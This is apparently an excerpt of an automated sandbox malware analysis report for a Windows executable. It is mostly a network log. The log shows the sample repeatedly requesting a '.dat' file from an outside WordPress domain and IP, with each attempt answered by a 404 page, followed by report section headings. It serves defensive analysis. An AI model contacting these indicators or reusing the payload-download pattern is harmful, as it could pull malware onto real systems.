2025-03-07 15:07:30 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:07:29 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-07 15:07:30 UTC	7806	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 Data Ascii: 4000<!DOCTYPE html><html lang="es"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><link r
2025-03-07 15:07:30 UTC	8584	IN	Data Raw: 63 3d 67 3b 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 6d 29 0a 09 09 09 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 2f 61 6e 61 6c 79 74 69 63 73 2e 6a 73 27 2c 27 67 61 27 29 3b 0a 09 09 09 67 61 28 27 63 72 65 61 74 65 27 2c 20 27 55 41 2d 31 32 34 35 31 35 31 32 38 2d 31 27 2c 20 27 61 75 74 6f 27 29 3b 0a 09 09 09 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 61 5f 5f 73 74 74 5f 6f 66 66 6c 69 6e 65 20 7b 0a 20 20 20 Data Ascii: c=g;m.parentNode.insertBefore(a,m)})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');ga('create', 'UA-124515128-1', 'auto');ga('send', 'pageview');</script> <style> .wa__stt_offline {
2025-03-07 15:07:30 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-07 15:07:30 UTC	4142	IN	Data Raw: 31 30 32 31 0d 0a 6f 72 67 2f 53 69 74 65 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 22 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 63 6f 6d 61 78 2e 63 6f 6d 2e 63 6f 2f 70 72 75 65 62 61 73 2d 64 65 2d 64 72 6f 67 61 73 2f 22 3e 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 Data Ascii: 1021org/SiteNavigationElement" id="menu-item-233" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-233"><a title="Pruebas de drogas" href="https://alcomax.com.co/pruebas-de-drogas/">Pruebas de drogas</a></li><li itemscope="ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.10	49700	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:07:32 UTC	59	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co
2025-03-07 15:07:33 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:07:32 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-07 15:07:33 UTC	7806	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 Data Ascii: 4000<!DOCTYPE html><html lang="es"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><link r
2025-03-07 15:07:33 UTC	8584	IN	Data Raw: 63 3d 67 3b 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 6d 29 0a 09 09 09 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 2f 61 6e 61 6c 79 74 69 63 73 2e 6a 73 27 2c 27 67 61 27 29 3b 0a 09 09 09 67 61 28 27 63 72 65 61 74 65 27 2c 20 27 55 41 2d 31 32 34 35 31 35 31 32 38 2d 31 27 2c 20 27 61 75 74 6f 27 29 3b 0a 09 09 09 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 61 5f 5f 73 74 74 5f 6f 66 66 6c 69 6e 65 20 7b 0a 20 20 20 Data Ascii: c=g;m.parentNode.insertBefore(a,m)})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');ga('create', 'UA-124515128-1', 'auto');ga('send', 'pageview');</script> <style> .wa__stt_offline {
2025-03-07 15:07:33 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-07 15:07:33 UTC	4142	IN	Data Raw: 31 30 32 31 0d 0a 6f 72 67 2f 53 69 74 65 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 22 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 63 6f 6d 61 78 2e 63 6f 6d 2e 63 6f 2f 70 72 75 65 62 61 73 2d 64 65 2d 64 72 6f 67 61 73 2f 22 3e 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 Data Ascii: 1021org/SiteNavigationElement" id="menu-item-233" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-233"><a title="Pruebas de drogas" href="https://alcomax.com.co/pruebas-de-drogas/">Pruebas de drogas</a></li><li itemscope="ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.10	49703	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:07:35 UTC	59	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co
2025-03-07 15:07:36 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:07:35 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-07 15:07:36 UTC	7806	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 Data Ascii: 4000<!DOCTYPE html><html lang="es"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><link r
2025-03-07 15:07:36 UTC	8584	IN	Data Raw: 63 3d 67 3b 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 6d 29 0a 09 09 09 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 2f 61 6e 61 6c 79 74 69 63 73 2e 6a 73 27 2c 27 67 61 27 29 3b 0a 09 09 09 67 61 28 27 63 72 65 61 74 65 27 2c 20 27 55 41 2d 31 32 34 35 31 35 31 32 38 2d 31 27 2c 20 27 61 75 74 6f 27 29 3b 0a 09 09 09 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 61 5f 5f 73 74 74 5f 6f 66 66 6c 69 6e 65 20 7b 0a 20 20 20 Data Ascii: c=g;m.parentNode.insertBefore(a,m)})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');ga('create', 'UA-124515128-1', 'auto');ga('send', 'pageview');</script> <style> .wa__stt_offline {
2025-03-07 15:07:36 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-07 15:07:36 UTC	4142	IN	Data Raw: 31 30 32 31 0d 0a 6f 72 67 2f 53 69 74 65 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 22 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 63 6f 6d 61 78 2e 63 6f 6d 2e 63 6f 2f 70 72 75 65 62 61 73 2d 64 65 2d 64 72 6f 67 61 73 2f 22 3e 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 Data Ascii: 1021org/SiteNavigationElement" id="menu-item-233" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-233"><a title="Pruebas de drogas" href="https://alcomax.com.co/pruebas-de-drogas/">Pruebas de drogas</a></li><li itemscope="ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.10	49704	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:07:37 UTC	59	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co
2025-03-07 15:07:38 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:07:38 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-07 15:07:38 UTC	7806	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 Data Ascii: 4000<!DOCTYPE html><html lang="es"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><link r
2025-03-07 15:07:38 UTC	8584	IN	Data Raw: 63 3d 67 3b 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 6d 29 0a 09 09 09 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 2f 61 6e 61 6c 79 74 69 63 73 2e 6a 73 27 2c 27 67 61 27 29 3b 0a 09 09 09 67 61 28 27 63 72 65 61 74 65 27 2c 20 27 55 41 2d 31 32 34 35 31 35 31 32 38 2d 31 27 2c 20 27 61 75 74 6f 27 29 3b 0a 09 09 09 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 61 5f 5f 73 74 74 5f 6f 66 66 6c 69 6e 65 20 7b 0a 20 20 20 Data Ascii: c=g;m.parentNode.insertBefore(a,m)})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');ga('create', 'UA-124515128-1', 'auto');ga('send', 'pageview');</script> <style> .wa__stt_offline {
2025-03-07 15:07:38 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-07 15:07:38 UTC	4142	IN	Data Raw: 31 30 32 31 0d 0a 6f 72 67 2f 53 69 74 65 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 22 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 63 6f 6d 61 78 2e 63 6f 6d 2e 63 6f 2f 70 72 75 65 62 61 73 2d 64 65 2d 64 72 6f 67 61 73 2f 22 3e 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 Data Ascii: 1021org/SiteNavigationElement" id="menu-item-233" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-233"><a title="Pruebas de drogas" href="https://alcomax.com.co/pruebas-de-drogas/">Pruebas de drogas</a></li><li itemscope="ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.10	49705	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:07:40 UTC	59	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co
2025-03-07 15:07:41 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:07:40 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-07 15:07:41 UTC	7806	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 Data Ascii: 4000<!DOCTYPE html><html lang="es"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><link r
2025-03-07 15:07:41 UTC	8584	IN	Data Raw: 63 3d 67 3b 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 6d 29 0a 09 09 09 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 2f 61 6e 61 6c 79 74 69 63 73 2e 6a 73 27 2c 27 67 61 27 29 3b 0a 09 09 09 67 61 28 27 63 72 65 61 74 65 27 2c 20 27 55 41 2d 31 32 34 35 31 35 31 32 38 2d 31 27 2c 20 27 61 75 74 6f 27 29 3b 0a 09 09 09 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 61 5f 5f 73 74 74 5f 6f 66 66 6c 69 6e 65 20 7b 0a 20 20 20 Data Ascii: c=g;m.parentNode.insertBefore(a,m)})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');ga('create', 'UA-124515128-1', 'auto');ga('send', 'pageview');</script> <style> .wa__stt_offline {
2025-03-07 15:07:41 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-07 15:07:41 UTC	4142	IN	Data Raw: 31 30 32 31 0d 0a 6f 72 67 2f 53 69 74 65 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 22 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 63 6f 6d 61 78 2e 63 6f 6d 2e 63 6f 2f 70 72 75 65 62 61 73 2d 64 65 2d 64 72 6f 67 61 73 2f 22 3e 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 Data Ascii: 1021org/SiteNavigationElement" id="menu-item-233" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-233"><a title="Pruebas de drogas" href="https://alcomax.com.co/pruebas-de-drogas/">Pruebas de drogas</a></li><li itemscope="ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.10	49706	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:07:43 UTC	59	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co
2025-03-07 15:07:44 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:07:43 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report XTN1VzRJZm.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Windows Analysis Report
XTN1VzRJZm.exe